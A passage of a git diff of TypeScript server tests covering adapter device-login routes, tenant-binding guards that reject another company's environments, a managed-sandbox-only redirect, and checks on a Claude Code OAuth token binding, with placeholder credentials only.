+    async getByPublicId(publicSessionId, companyId) {
+      // Scope the read to the company and the public session id, so a
+      // foreign-company lookup reads nothing and the internal id never matches.
+      for (const row of rows.values()) {
+        if (row.publicSessionId === publicSessionId && row.companyId === companyId) {
+          return { ...row };
+        }
+      }
+      return null;
+    },
+    async withCompanyAdapterPromotionLock(_companyId, _startedByUserId, _adapterType, fn) {
       // The route test runs on a single event loop, so it needs no real lock. The
       // pass-through keeps the promotion contract satisfied.
       return fn();
@@ -367,13 +385,21 @@ describe("adapter device-login routes", () => {
       adapterType: "codex_local",
       startedByUserId: OWNER_A,
     });
-    // The row persists the immutable owner from the actor.
+    // The row persists the immutable owner from the actor. The response carries
+    // the public session id, so read the row by the public id, not the internal id.
     const store = harness.store as ReturnType<typeof createMemoryStore>;
-    const row = store.rows.get(res.body.sessionId);
+    const row = await store.getByPublicId(res.body.sessionId, COMPANY_1);
     expect(row?.startedByUserId).toBe(OWNER_A);
+    // The public session id is never the internal row id.
+    expect(row?.id).not.toBe(res.body.sessionId);
+    // No row is keyed by the public session id in the internal-id map.
+    expect(store.rows.get(res.body.sessionId)).toBeUndefined();
   });
 
-  it("rejects a non-codex adapter", async () => {
+  it("rejects an adapter whose login capability drives a different transport", async () => {
+    // The Claude adapter declares a pseudo-terminal login, not a streamed-exec
+    // device login. The guard reads the capability transport, so it rejects the
+    // adapter with a fixed 400 before any lease.
     const app = await createApp();
 
     const res = await request(app)
@@ -384,6 +410,58 @@ describe("adapter device-login routes", () => {
     expect(harness.acquisitions).toHaveLength(0);
   });
 
+  it("starts a device login for a third adapter that declares the streamed-exec capability", async () => {
+    // A third adapter, not the Codex adapter, declares a streamed-exec login
+    // capability. The guard reads the registry capability, not the adapter name,
+    // so the adapter passes the guard and starts a session. This proves no
+    // adapter-name branch remains in the guard path. The test overrides an
+    // existing adapter type so the strict request schema accepts it.
+    const app = await createApp();
+    const { registerServerAdapter, unregisterServerAdapter } = await import("../adapters/index.js");
+    registerServerAdapter({
+      type: "gemini_local",
+      execute: async () => {
+        throw new Error("not used");
+      },
+      testEnvironment: async () => {
+        throw new Error("not used");
+      },
+      loginCapability: {
+        panelMode: "displayed_code",
+        sandboxTransport: "streamed_exec",
+        timeoutPolicy: "caller_bounded",
+        getCommand: () => "vendor login",
+        parsePrompt: () => null,
+      },
+    });
+    try {
+      const res = await request(app)
+        .post(loginPath(COMPANY_1, "gemini_local"))
+        .send({ environmentId: SANDBOX_ENV_1 });
+
+      expect(res.status, JSON.stringify(res.body)).toBe(201);
+      expect(res.body).toMatchObject({ environmentId: SANDBOX_ENV_1, status: "starting" });
+      expect(harness.acquisitions).toHaveLength(1);
+      expect(harness.acquisitions[0]).toMatchObject({ adapterType: "gemini_local" });
+    } finally {
+      unregisterServerAdapter("gemini_local");
+    }
+  });
+
+  it("rejects a malformed start body with the strict schema before any side effect", async () => {
+    const app = await createApp();
+
+    // The strict start schema rejects an unknown field. The old lax parse
+    // accepted an extra field and started a session; the shared spine now fails
+    // the request with a fixed 400 before it acquires a lease.
+    const res = await request(app)
+      .post(loginPath(COMPANY_1))
+      .send({ environmentId: SANDBOX_ENV_1, unexpectedField: "x" });
+
+    expect(res.status, JSON.stringify(res.body)).toBe(400);
+    expect(harness.acquisitions).toHaveLength(0);
+  });
+
   it("rejects a local environment", async () => {
     mockEnvironmentService.getById.mockResolvedValueOnce({
       id: SANDBOX_ENV_1,
@@ -519,7 +597,7 @@ describe("adapter device-login routes", () => {
     expect(restart.body.sessionId).not.toBe(sessionId);
   });
 
-  it("returns 409 for a second active start by a different owner", async () => {
+  it("lets a second owner start an active login in the same company", async () => {
     const app = await createApp();
 
     const first = await request(app)
@@ -528,13 +606,16 @@ describe("adapter device-login routes", () => {
     expect(first.status, JSON.stringify(first.body)).toBe(201);
 
     // A different owner starts a second login for the same company and adapter.
+    // The active slot is scoped to the company, the owner, and the adapter, so
+    // the second owner holds an independent slot and the start succeeds.
     currentActor = boardActor(OWNER_B);
     const second = await request(app)
       .post(loginPath(COMPANY_1))
       .send({ environmentId: SANDBOX_ENV_1 });
-    expect(second.status, JSON.stringify(second.body)).toBe(409);
-    // The second start never acquires a lease.
-    expect(harness.acquisitions).toHaveLength(1);
+    expect(second.status, JSON.stringify(second.body)).toBe(201);
+    expect(second.body.sessionId).not.toBe(first.body.sessionId);
+    // Each owner's start acquires its own lease.
+    expect(harness.acquisitions).toHaveLength(2);
   });
 
   it("returns 409 for a second active start in a different environment", async () => {
@@ -573,7 +654,10 @@ describe("adapter device-login routes", () => {
       expect(status.body.failure?.reason).toBe("promotion_failed");
     });
 
-    const row = (harness.store as ReturnType<typeof createMemoryStore>).rows.get(sessionId);
+    const row = await (harness.store as ReturnType<typeof createMemoryStore>).getByPublicId(
+      sessionId,
+      COMPANY_1,
+    );
     expect(row?.status).toBe("failed");
     expect(mockDeviceLoginPromotion).toHaveBeenCalledTimes(1);
   });
@@ -599,7 +683,10 @@ describe("adapter device-login routes", () => {
       expect(status.body.failure?.reason).toBe("promotion_failed");
     });
 
-    const row = (harness.store as ReturnType<typeof createMemoryStore>).rows.get(sessionId);
+    const row = await (harness.store as ReturnType<typeof createMemoryStore>).getByPublicId(
+      sessionId,
+      COMPANY_1,
+    );
     expect(row?.status).toBe("failed");
     expect(mockDeviceLoginPromotion).toHaveBeenCalledTimes(1);
   });
diff --git a/server/src/__tests__/agent-live-run-routes.test.ts b/server/src/__tests__/agent-live-run-routes.test.ts
index b9d376e9ac1..8f385ddbd35 100644
--- a/server/src/__tests__/agent-live-run-routes.test.ts
+++ b/server/src/__tests__/agent-live-run-routes.test.ts
@@ -323,7 +323,7 @@ describe("agent live run routes", () => {
   it("includes ephemeral current status fields on active run polling", async () => {
     mockHeartbeatService.decorateActiveRunStatus.mockImplementation((run) => ({
       ...run,
-      currentStatusMessage: "Syncing workspace to sandbox",
+      currentStatusMessage: "Syncing workspace to environment",
       currentStatusUpdatedAt: new Date("2026-04-10T09:30:05.000Z"),
       currentToolName: "bash",
       lastAssistantSnippet: "Inspecting files",
@@ -341,7 +341,7 @@ describe("agent live run routes", () => {
       { companyId: "company-1", issueId: "issue-1" },
     );
     expect(res.body).toMatchObject({
-      currentStatusMessage: "Syncing workspace to sandbox",
+      currentStatusMessage: "Syncing workspace to environment",
       currentStatusUpdatedAt: "2026-04-10T09:30:05.000Z",
       currentToolName: "bash",
       lastAssistantSnippet: "Inspecting files",
diff --git a/server/src/__tests__/agent-permissions-routes.test.ts b/server/src/__tests__/agent-permissions-routes.test.ts
index 0f45292f1eb..c864762f8f5 100644
--- a/server/src/__tests__/agent-permissions-routes.test.ts
+++ b/server/src/__tests__/agent-permissions-routes.test.ts
@@ -864,6 +864,7 @@ describe.sequential("agent permission routes", () => {
       expect.objectContaining({
         status: "idle",
       }),
+      { claudeLogin: { storedSessionId: null, ownerUserId: "agent-admin-user", applyExistingWithoutClaim: false } },
     );
     expect(mockAccessService.setPrincipalPermission).toHaveBeenCalledWith(
       companyId,
@@ -996,6 +997,7 @@ describe.sequential("agent permission routes", () => {
           },
         },
       }),
+      { claudeLogin: { storedSessionId: null, ownerUserId: "board-user", applyExistingWithoutClaim: false } },
     );
   });
 
@@ -1058,6 +1060,7 @@ describe.sequential("agent permission routes", () => {
             },
           },
         }),
+        { claudeLogin: { storedSessionId: null, ownerUserId: "board-user", applyExistingWithoutClaim: false } },
       );
     } finally {
       unregisterServerAdapter("failing_profile_discovery");
@@ -1096,6 +1099,7 @@ describe.sequential("agent permission routes", () => {
           model: DEFAULT_OPENCODE_LOCAL_MODEL,
         }),
       }),
+      { claudeLogin: { storedSessionId: null, ownerUserId: "board-user", applyExistingWithoutClaim: false } },
     );
   });
 
@@ -1133,6 +1137,7 @@ describe.sequential("agent permission routes", () => {
           model: "anthropic/claude-sonnet-4-5",
         }),
       }),
+      { claudeLogin: { storedSessionId: null, ownerUserId: "board-user", applyExistingWithoutClaim: false } },
     );
   });
 
@@ -1174,6 +1179,7 @@ describe.sequential("agent permission routes", () => {
           },
         },
       }),
+      { claudeLogin: { storedSessionId: null, ownerUserId: "board-user", applyExistingWithoutClaim: false } },
     );
   });
 
@@ -1397,6 +1403,7 @@ describe.sequential("agent permission routes", () => {
       expect.objectContaining({
         defaultEnvironmentId: environmentId,
       }),
+      { claudeLogin: { storedSessionId: null, ownerUserId: "board-user", applyExistingWithoutClaim: false } },
     );
   });
 
@@ -1482,6 +1489,7 @@ describe.sequential("agent permission routes", () => {
           adapterType: adapterCase.adapterType,
           defaultEnvironmentId: environmentId,
         }),
+        { claudeLogin: { storedSessionId: null, ownerUserId: "board-user", applyExistingWithoutClaim: false } },
       );
     });
   }
diff --git a/server/src/__tests__/agent-skills-routes.test.ts b/server/src/__tests__/agent-skills-routes.test.ts
index 6dd77801ed1..47379332d38 100644
--- a/server/src/__tests__/agent-skills-routes.test.ts
+++ b/server/src/__tests__/agent-skills-routes.test.ts
@@ -945,6 +945,7 @@ describe.sequential("agent skill routes", () => {
           }),
         }),
       }),
+      { claudeLogin: { storedSessionId: null, ownerUserId: "local-board", applyExistingWithoutClaim: false } },
     );
     expect(mockTrackAgentCreated).toHaveBeenCalledWith(
       expect.anything(),
@@ -994,6 +995,7 @@ describe.sequential("agent skill routes", () => {
       expect.objectContaining({
         role: "security",
       }),
+      { claudeLogin: { storedSessionId: null, ownerUserId: "local-board", applyExistingWithoutClaim: false } },
     );
     expect(mockTrackAgentCreated).toHaveBeenCalledWith(
       expect.anything(),
@@ -1217,6 +1219,7 @@ describe.sequential("agent skill routes", () => {
           }),
         }),
       }),
+      { claudeLogin: { storedSessionId: null, ownerUserId: "local-board", applyExistingWithoutClaim: false } },
     );
     expect(mockApprovalService.create).toHaveBeenCalledWith(
       "company-1",
diff --git a/server/src/__tests__/agent-test-environment-routes.test.ts b/server/src/__tests__/agent-test-environment-routes.test.ts
index fef44e1e1a5..699785dc11a 100644
--- a/server/src/__tests__/agent-test-environment-routes.test.ts
+++ b/server/src/__tests__/agent-test-environment-routes.test.ts
@@ -30,6 +30,8 @@ const mockSecretService = vi.hoisted(() => ({
 const mockEnvironmentService = vi.hoisted(() => ({
   getById: vi.fn(),
   releaseLease: vi.fn(),
+  listBoundCompanyIds: vi.fn(async () => [] as string[]),
+  findManagedSandboxEnvironment: vi.fn(async () => null as Record<string, unknown> | null),
 }));
 
 const mockReleaseRunLease = vi.hoisted(() => vi.fn(async () => undefined));
@@ -44,6 +46,7 @@ const mockEnvironmentRuntime = vi.hoisted(() => ({
 const mockResolveEnvironmentExecutionTarget = vi.hoisted(() => vi.fn());
 const mockInstanceSettingsService = vi.hoisted(() => ({
   getGeneral: vi.fn(async () => ({ censorUsernameInLogs: false })),
+  getExperimental: vi.fn(async () => ({ enableManagedSandboxOnly: false })),
 }));
 
 vi.mock("../services/index.js", () => ({
@@ -140,6 +143,9 @@ describe("agent test-environment route", () => {
       driver: "sandbox",
       config: { provider: "fake-plugin" },
     });
+    // Default to an instance-global environment with no company binding, so the
+    // tenant-binding guard passes unless a test overrides it.
+    mockEnvironmentService.listBoundCompanyIds.mockResolvedValue([]);
     mockEnvironmentRuntime.acquireRunLease.mockResolvedValue({
       lease: {
         id: "lease-1",
@@ -220,7 +226,10 @@ describe("agent test-environment route", () => {
   });
 
   it("returns a diagnostic result instead of probing the host when the requested environment is missing", async () => {
-    mockEnvironmentService.getById.mockResolvedValueOnce(null);
+    // The route reads the environment more than once: the tenant-binding guard
+    // loads it, then the execution-context resolver loads it. Return null for
+    // every read so the missing-environment path is stable.
+    mockEnvironmentService.getById.mockResolvedValue(null);
     const app = await createApp();
 
     const res = await request(app)
@@ -282,6 +291,9 @@ describe("agent test-environment route", () => {
     expect(mockEnvironmentRuntime.acquireRunLease).toHaveBeenCalledWith(
       expect.objectContaining({
         applyCustomImageTemplate: true,
+        // The Test lease re-checks the company binding, so a binding change
+        // between the route guard and the lease cannot open a foreign sandbox.
+        assertCompanyBinding: true,
         environment: expect.objectContaining({
           config: expect.objectContaining({
             reuseLease: false,
@@ -302,7 +314,7 @@ describe("agent test-environment route", () => {
       expect.objectContaining({
         code: "sandbox_test_identity",
         level: "info",
-        message: 'Sandbox test identity for "Sandbox QA".',
+        message: 'Environment test identity for "Sandbox QA".',
         detail: expect.stringContaining("paperclipLeaseId=lease-1"),
       }),
       expect.objectContaining({
@@ -507,4 +519,172 @@ describe("agent test-environment route", () => {
       ]);
     });
   });
+
+  describe("tenant-binding guard", () => {
+    async function postForeignEnvironmentTest() {
+      const app = await createApp();
+      return request(app)
+        .post("/api/companies/company-1/adapters/external_test/test-environment")
+        .send({
+          adapterConfig: { env: { FOO: "bar" } },
+          environmentId: "11111111-1111-4111-8111-111111111111",
+        });
+    }
+
+    function expectCompanyMismatch(res: request.Response) {
+      expect(res.status, JSON.stringify(res.body)).toBe(403);
+      expect(JSON.stringify(res.body)).toContain("environment_company_mismatch");
+      // The guard rejects before any secret resolution, target resolution,
+      // sandbox lease, or adapter test runs.
+      expect(mockSecretService.normalizeAdapterConfigForPersistence).not.toHaveBeenCalled();
+      expect(mockSecretService.resolveAdapterConfigForRuntime).not.toHaveBeenCalled();
+      expect(mockEnvironmentRuntime.acquireRunLease).not.toHaveBeenCalled();
+      expect(testEnvironmentSpy).not.toHaveBeenCalled();
+    }
+
+    it("rejects an active environment bound to another company", async () => {
+      mockEnvironmentService.listBoundCompanyIds.mockResolvedValue(["company-2"]);
+      expectCompanyMismatch(await postForeignEnvironmentTest());
+    });
+
+    it("rejects an archived environment bound to another company without revealing its status", async () => {
+      mockEnvironmentService.getById.mockResolvedValue({
+        id: "11111111-1111-4111-8111-111111111111",
+        companyId: "company-2",
+        name: "Sandbox QA",
+        driver: "sandbox",
+        status: "archived",
+        config: { provider: "fake-plugin" },
+      });
+      mockEnvironmentService.listBoundCompanyIds.mockResolvedValue(["company-2"]);
+      expectCompanyMismatch(await postForeignEnvironmentTest());
+    });
+
+    it("rejects a disallowed-driver environment bound to another company without revealing its driver", async () => {
+      mockEnvironmentService.getById.mockResolvedValue({
+        id: "11111111-1111-4111-8111-111111111111",
+        companyId: "company-2",
+        name: "Plugin Env",
+        driver: "plugin",
+        status: "active",
+        config: {},
+      });
+      mockEnvironmentService.listBoundCompanyIds.mockResolvedValue(["company-2"]);
+      expectCompanyMismatch(await postForeignEnvironmentTest());
+    });
+
+    it("allows an instance-global environment with no company binding", async () => {
+      mockEnvironmentService.listBoundCompanyIds.mockResolvedValue([]);
+      const res = await postForeignEnvironmentTest();
+      // The guard passes and the route proceeds to secret resolution.
+      expect(res.status, JSON.stringify(res.body)).toBe(200);
+      expect(mockSecretService.normalizeAdapterConfigForPersistence).toHaveBeenCalled();
+    });
+
+    it("allows an environment bound to the caller company", async () => {
+      mockEnvironmentService.listBoundCompanyIds.mockResolvedValue(["company-1"]);
+      const res = await postForeignEnvironmentTest();
+      // The guard passes and the route proceeds to secret resolution.
+      expect(res.status, JSON.stringify(res.body)).toBe(200);
+      expect(mockSecretService.normalizeAdapterConfigForPersistence).toHaveBeenCalled();
+    });
+  });
+
+  describe("managed-sandbox-only redirect", () => {
+    const localEnvironmentId = "33333333-3333-4333-8333-333333333333";
+    const managedSandboxEnvironment = {
+      id: "44444444-4444-4444-8444-444444444444",
+      companyId: null,
+      name: "Managed sandbox",
+      driver: "sandbox",
+      status: "active",
+      config: { provider: "fake-plugin" },
+    };
+    const localEnvironment = {
+      id: localEnvironmentId,
+      companyId: null,
+      name: "Local host",
+      driver: "local",
+      status: "active",
+      config: {},
+    };
+
+    it("redirects a local-environment Test onto the managed sandbox and never probes the host", async () => {
+      mockEnvironmentService.getById.mockResolvedValue(localEnvironment);
+      mockInstanceSettingsService.getExperimental.mockResolvedValue({
+        enableManagedSandboxOnly: true,
+      });
+      mockEnvironmentService.findManagedSandboxEnvironment.mockResolvedValue(
+        managedSandboxEnvironment,
+      );
+      mockResolveEnvironmentExecutionTarget.mockResolvedValueOnce({
+        kind: "remote",
+        transport: "sandbox",
+        remoteCwd: "/home/user/paperclip-workspace",
+        providerKey: "fake-plugin",
+        runner: { execute: vi.fn() },
+      });
+      const app = await createApp();
+
+      const res = await request(app)
+        .post("/api/companies/company-1/adapters/external_test/test-environment")
+        .send({ adapterConfig: {}, environmentId: localEnvironmentId });
+
+      expect(res.status, JSON.stringify(res.body)).toBe(200);
+      // The Test leases and probes the managed sandbox the real run uses, not
+      // the local host that the agent default still names.
+      expect(mockEnvironmentRuntime.acquireRunLease).toHaveBeenCalledWith(
+        expect.objectContaining({
+          environment: expect.objectContaining({ id: managedSandboxEnvironment.id }),
+        }),
+      );
+      expect(testEnvironmentSpy).toHaveBeenCalledTimes(1);
+      expect(testEnvironmentSpy.mock.calls[0]?.[0]).toMatchObject({
+        executionTarget: expect.objectContaining({ kind: "remote", transport: "sandbox" }),
+        environmentName: "Managed sandbox",
+      });
+    });
+
+    it("fails closed when the policy is on and no managed sandbox environment exists", async () => {
+      mockEnvironmentService.getById.mockResolvedValue(localEnvironment);
+      mockInstanceSettingsService.getExperimental.mockResolvedValue({
+        enableManagedSandboxOnly: true,
+      });
+      mockEnvironmentService.findManagedSandboxEnvironment.mockResolvedValue(null);
+      const app = await createApp();
+
+      const res = await request(app)
+        .post("/api/companies/company-1/adapters/external_test/test-environment")
+        .send({ adapterConfig: {}, environmentId: localEnvironmentId });
+
+      expect(res.status, JSON.stringify(res.body)).toBe(200);
+      // No fall back to a host probe: the Test reports fail-closed.
+      expect(testEnvironmentSpy).not.toHaveBeenCalled();
+      expect(mockEnvironmentRuntime.acquireRunLease).not.toHaveBeenCalled();
+      expect(res.body.status).toBe("fail");
+      expect(res.body.checks).toEqual([
+        expect.objectContaining({ code: "managed_sandbox_unavailable", level: "error" }),
+      ]);
+    });
+
+    it("probes the local host when the managed-sandbox-only policy is off", async () => {
+      mockEnvironmentService.getById.mockResolvedValue(localEnvironment);
+      mockInstanceSettingsService.getExperimental.mockResolvedValue({
+        enableManagedSandboxOnly: false,
+      });
+      const app = await createApp();
+
+      const res = await request(app)
+        .post("/api/companies/company-1/adapters/external_test/test-environment")
+        .send({ adapterConfig: {}, environmentId: localEnvironmentId });
+
+      expect(res.status, JSON.stringify(res.body)).toBe(200);
+      // Legacy behavior: a local environment probes the host with no redirect
+      // and no sandbox lease.
+      expect(mockEnvironmentService.findManagedSandboxEnvironment).not.toHaveBeenCalled();
+      expect(mockEnvironmentRuntime.acquireRunLease).not.toHaveBeenCalled();
+      expect(testEnvironmentSpy).toHaveBeenCalledTimes(1);
+      expect(testEnvironmentSpy.mock.calls[0]?.[0]?.executionTarget ?? null).toBeNull();
+    });
+  });
 });
diff --git a/server/src/__tests__/agents-adapter-config-user-secret.test.ts b/server/src/__tests__/agents-adapter-config-user-secret.test.ts
index abb26ffa1ff..a44a5c73476 100644
--- a/server/src/__tests__/agents-adapter-config-user-secret.test.ts
+++ b/server/src/__tests__/agents-adapter-config-user-secret.test.ts
@@ -36,6 +36,13 @@ const mockAccessService = vi.hoisted(() => ({
 const mockEnvironmentService = vi.hoisted(() => ({
   getById: vi.fn(),
   releaseLease: vi.fn(),
+  // The tenant-binding guard reads the environment's bound company ids before it
+  // reveals the driver or the status. An empty list marks an instance-global
+  // environment, so the guard lets the same-company Test through.
+  listBoundCompanyIds: vi.fn(async () => []),
+  // The managed-sandbox-only redirect looks up the managed sandbox for a local
+  // environment Test. These tests keep the policy off, so no managed row exists.
+  findManagedSandboxEnvironment: vi.fn(async () => null),
 }));
 
 const mockEnvironmentRuntime = vi.hoisted(() => ({
@@ -47,6 +54,7 @@ const mockEnvironmentRuntime = vi.hoisted(() => ({
 const mockResolveEnvironmentExecutionTarget = vi.hoisted(() => vi.fn(async () => null));
 const mockInstanceSettingsService = vi.hoisted(() => ({
   getGeneral: vi.fn(async () => ({ censorUsernameInLogs: false })),
+  getExperimental: vi.fn(async () => ({ enableManagedSandboxOnly: false })),
 }));
 const mockRunClaudeLogin = vi.hoisted(() => vi.fn(async () => ({ ok: true })));
 
diff --git a/server/src/__tests__/agents-claude-oauth-binding.test.ts b/server/src/__tests__/agents-claude-oauth-binding.test.ts
new file mode 100644
index 00000000000..90ae922e3c4
--- /dev/null
+++ b/server/src/__tests__/agents-claude-oauth-binding.test.ts
@@ -0,0 +1,949 @@
+import { randomUUID } from "node:crypto";
+import { mkdirSync, rmSync } from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { afterAll, afterEach, beforeAll, describe, expect, it } from "vitest";
+import { eq, sql } from "drizzle-orm";
+import {
+  activityLog,
+  adapterAuthSessions,
+  agents,
+  companies,
+  companySecretBindings,
+  companySecretProviderConfigs,
+  companySecretVersions,
+  companySecrets,
+  createDb,
+  environments,
+  userSecretDeclarations,
+  userSecretDefinitions,
+} from "@paperclipai/db";
+import {
+  getEmbeddedPostgresTestSupport,
+  startEmbeddedPostgresTestDatabase,
+} from "./helpers/embedded-postgres.js";
+import { agentService } from "../services/agents.ts";
+import {
+  assertClaudeOAuthBindingInvariant,
+  CLAUDE_OAUTH_CLAIM_REJECTED,
+  CLAUDE_OAUTH_CREDENTIAL_CONFLICT,
+  claudeOAuthClaimRejectedError,
+  isFixedClaudeOAuthBinding,
+  secretService,
+} from "../services/secrets.js";
+import {
+  createDbSetupTokenCleanupStore,
+  type SetupTokenSessionScope,
+} from "../services/setup-token-session.js";
+import { createSetupTokenSecretWriter } from "../services/setup-token-transport-binding.js";
+
+// The fixed Claude Code OAuth binding. It is a user-secret reference to the
+// fixed key. Any other shape is a replacement or a weaker binding.
+const FIXED_BINDING = { type: "user_secret_ref", key: "CLAUDE_CODE_OAUTH_TOKEN" } as const;
+const withEnv = (env: Record<string, unknown>) => ({ env });
+
+// --- The pure server-enforced binding invariant (no database) ----------------
+
+describe("assertClaudeOAuthBindingInvariant", () => {
+  it("reports that a create introduces the fixed binding", () => {
+    const decision = assertClaudeOAuthBindingInvariant({
+      adapterType: "claude_local",
+      nextConfig: withEnv({ CLAUDE_CODE_OAUTH_TOKEN: FIXED_BINDING }),
+      priorConfig: null,
+    });
+    expect(decision).toEqual({ introducesBinding: true, keepsBinding: false });
+  });
+
+  it("reports that a write keeps an existing fixed binding", () => {
+    const decision = assertClaudeOAuthBindingInvariant({
+      adapterType: "claude_local",
+      nextConfig: withEnv({ CLAUDE_CODE_OAUTH_TOKEN: FIXED_BINDING }),
+      priorConfig: withEnv({ CLAUDE_CODE_OAUTH_TOKEN: FIXED_BINDING }),
+    });
+    expect(decision).toEqual({ introducesBinding: false, keepsBinding: true });
+  });
+
+  it("permits a normal removal of the fixed binding", () => {
+    const decision = assertClaudeOAuthBindingInvariant({
+      adapterType: "claude_local",
+      nextConfig: withEnv({}),
+      priorConfig: withEnv({ CLAUDE_CODE_OAUTH_TOKEN: FIXED_BINDING }),
+    });
+    expect(decision).toEqual({ introducesBinding: false, keepsBinding: false });
+  });
+
+  it("permits a normal plain-value replacement of the fixed binding", () => {
+    const decision = assertClaudeOAuthBindingInvariant({
+      adapterType: "claude_local",
+      nextConfig: withEnv({ CLAUDE_CODE_OAUTH_TOKEN: { type: "plain", value: "sk-fake" } }),
+      priorConfig: withEnv({ CLAUDE_CODE_OAUTH_TOKEN: FIXED_BINDING }),
+    });
+    expect(decision).toEqual({ introducesBinding: false, keepsBinding: false });
+  });
+
+  it("permits a re-point to a different user-secret key", () => {
+    const decision = assertClaudeOAuthBindingInvariant({
+      adapterType: "claude_local",
+      nextConfig: withEnv({ CLAUDE_CODE_OAUTH_TOKEN: { type: "user_secret_ref", key: "OTHER" } }),
+      priorConfig: withEnv({ CLAUDE_CODE_OAUTH_TOKEN: FIXED_BINDING }),
+    });
+    expect(decision).toEqual({ introducesBinding: false, keepsBinding: false });
+  });
+
+  it("permits a re-point to a company-secret reference", () => {
+    const decision = assertClaudeOAuthBindingInvariant({
+      adapterType: "claude_local",
+      nextConfig: withEnv({
+        CLAUDE_CODE_OAUTH_TOKEN: { type: "secret_ref", secretId: randomUUID(), version: "latest" },
+      }),
+      priorConfig: withEnv({ CLAUDE_CODE_OAUTH_TOKEN: FIXED_BINDING }),
+    });
+    expect(decision).toEqual({ introducesBinding: false, keepsBinding: false });
+  });
+
+  it("permits a removal of the fixed binding by a move to another adapter type", () => {
+    // The prior config has the fixed binding on claude_local. The write moves
+    // the agent to the process adapter and drops the binding in the same write.
+    // The binding behaves like a normal environment variable, so the write is
+    // allowed and reports no fixed binding.
+    const decision = assertClaudeOAuthBindingInvariant({
+      adapterType: "process",
+      nextConfig: withEnv({}),
+      priorConfig: withEnv({ CLAUDE_CODE_OAUTH_TOKEN: FIXED_BINDING }),
+    });
+    expect(decision).toEqual({ introducesBinding: false, keepsBinding: false });
+  });
+
+  it("does nothing for a non-claude_local create with no prior fixed binding", () => {
+    const decision = assertClaudeOAuthBindingInvariant({
+      adapterType: "process",
+      nextConfig: withEnv({}),
+      priorConfig: withEnv({ SOME_OTHER_KEY: { type: "plain", value: "x" } }),
+    });
+    expect(decision).toEqual({ introducesBinding: false, keepsBinding: false });
+  });
+
+  it("rejects the fixed binding together with a plain ANTHROPIC_API_KEY and names no value", () => {
+    let thrown: Error | null = null;
+    try {
+      assertClaudeOAuthBindingInvariant({
+        adapterType: "claude_local",
+        nextConfig: withEnv({
+          CLAUDE_CODE_OAUTH_TOKEN: FIXED_BINDING,
+          ANTHROPIC_API_KEY: { type: "plain", value: "sk-ant-secret" },
+        }),
+        priorConfig: null,
+      });
+    } catch (error) {
+      thrown = error as Error;
+    }
+    expect(thrown?.message).toBe(CLAUDE_OAUTH_CREDENTIAL_CONFLICT);
+    expect(thrown?.message).not.toContain("sk-ant-secret");
+    expect(thrown?.message).not.toContain("ANTHROPIC_API_KEY");
+  });
+
+  it("rejects the fixed binding together with an ANTHROPIC_API_KEY secret reference", () => {
+    expect(() =>
+      assertClaudeOAuthBindingInvariant({
+        adapterType: "claude_local",
+        nextConfig: withEnv({
+          CLAUDE_CODE_OAUTH_TOKEN: FIXED_BINDING,
+          ANTHROPIC_API_KEY: { type: "secret_ref", secretId: randomUUID(), version: "latest" },
+        }),
+        priorConfig: null,
+      }),
+    ).toThrowError(CLAUDE_OAUTH_CREDENTIAL_CONFLICT);
+  });
+
+  it("ignores an empty ANTHROPIC_API_KEY plain value", () => {
+    const decision = assertClaudeOAuthBindingInvariant({
+      adapterType: "claude_local",
+      nextConfig: withEnv({
+        CLAUDE_CODE_OAUTH_TOKEN: FIXED_BINDING,
+        ANTHROPIC_API_KEY: { type: "plain", value: "   " },
+      }),
+      priorConfig: null,
+    });
+    expect(decision.introducesBinding).toBe(true);
+  });
+
+  it("does nothing for a non-claude_local adapter", () => {
+    const decision = assertClaudeOAuthBindingInvariant({
+      adapterType: "codex_local",
+      nextConfig: withEnv({ CLAUDE_CODE_OAUTH_TOKEN: { type: "plain", value: "anything" } }),
+      priorConfig: null,
+    });
+    expect(decision).toEqual({ introducesBinding: false, keepsBinding: false });
+  });
+
+  it("recognizes only the exact fixed binding shape", () => {
+    expect(isFixedClaudeOAuthBinding(FIXED_BINDING)).toBe(true);
+    expect(isFixedClaudeOAuthBinding({ type: "plain", value: "x" })).toBe(false);
+    expect(isFixedClaudeOAuthBinding({ type: "user_secret_ref", key: "OTHER" })).toBe(false);
+    expect(isFixedClaudeOAuthBinding(null)).toBe(false);
+  });
+
+  it("raises a fixed 409 claim error", () => {
+    const error = claudeOAuthClaimRejectedError();
+    expect(error.status).toBe(409);
+    expect(error.message).toBe(CLAUDE_OAUTH_CLAIM_REJECTED);
+  });
+});
+
+// --- The stored-session claim on the create and hire paths (Postgres) --------
+
+const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
+const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
+
+if (!embeddedPostgresSupport.supported) {
+  console.warn(
+    `Skipping Claude OAuth binding claim tests on this host: ${
+      embeddedPostgresSupport.reason ?? "unsupported environment"
+    }`,
+  );
+}
+
+describeEmbeddedPostgres("agent service Claude OAuth binding claim", () => {
+  let stopDb: (() => Promise<void>) | null = null;
+  let connectionString!: string;
+  let db!: ReturnType<typeof createDb>;
+  const previousKeyFile = process.env.PAPERCLIP_SECRETS_MASTER_KEY_FILE;
+  const secretsTmpDir = path.join(os.tmpdir(), `paperclip-claude-oauth-binding-${randomUUID()}`);
+
+  beforeAll(async () => {
+    mkdirSync(secretsTmpDir, { recursive: true });
+    process.env.PAPERCLIP_SECRETS_MASTER_KEY_FILE = path.join(secretsTmpDir, "master.key");
+    const started = await startEmbeddedPostgresTestDatabase("claude-oauth-binding");
+    stopDb = started.cleanup;
+    connectionString = started.connectionString;
+    db = createDb(connectionString);
+  }, 20_000);
+
+  afterEach(async () => {
+    await db.delete(activityLog);
+    await db.delete(companySecretBindings);
+    await db.delete(companySecretVersions);
+    await db.delete(companySecrets);
+    await db.delete(companySecretProviderConfigs);
+    await db.delete(userSecretDeclarations);
+    await db.delete(userSecretDefinitions);
+    await db.delete(adapterAuthSessions);
+    await db.delete(agents);
+    await db.delete(environments);
+    await db.delete(companies);
+  });
+
+  afterAll(async () => {
+    await stopDb?.();
+    if (previousKeyFile === undefined) {
+      delete process.env.PAPERCLIP_SECRETS_MASTER_KEY_FILE;
+    } else {
+      process.env.PAPERCLIP_SECRETS_MASTER_KEY_FILE = previousKeyFile;
+    }
+    rmSync(secretsTmpDir, { recursive: true, force: true });
+  });
+
+  interface Scope {
+    companyId: string;
+    environmentId: string;
+    ownerUserId: string;
+  }
+
+  async function seedScope(): Promise<Scope> {
+    const companyId = randomUUID();
+    const environmentId = randomUUID();
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Paperclip",
+      issuePrefix: `T${companyId.replace(/-/g, "").slice(0, 6).toUpperCase()}`,
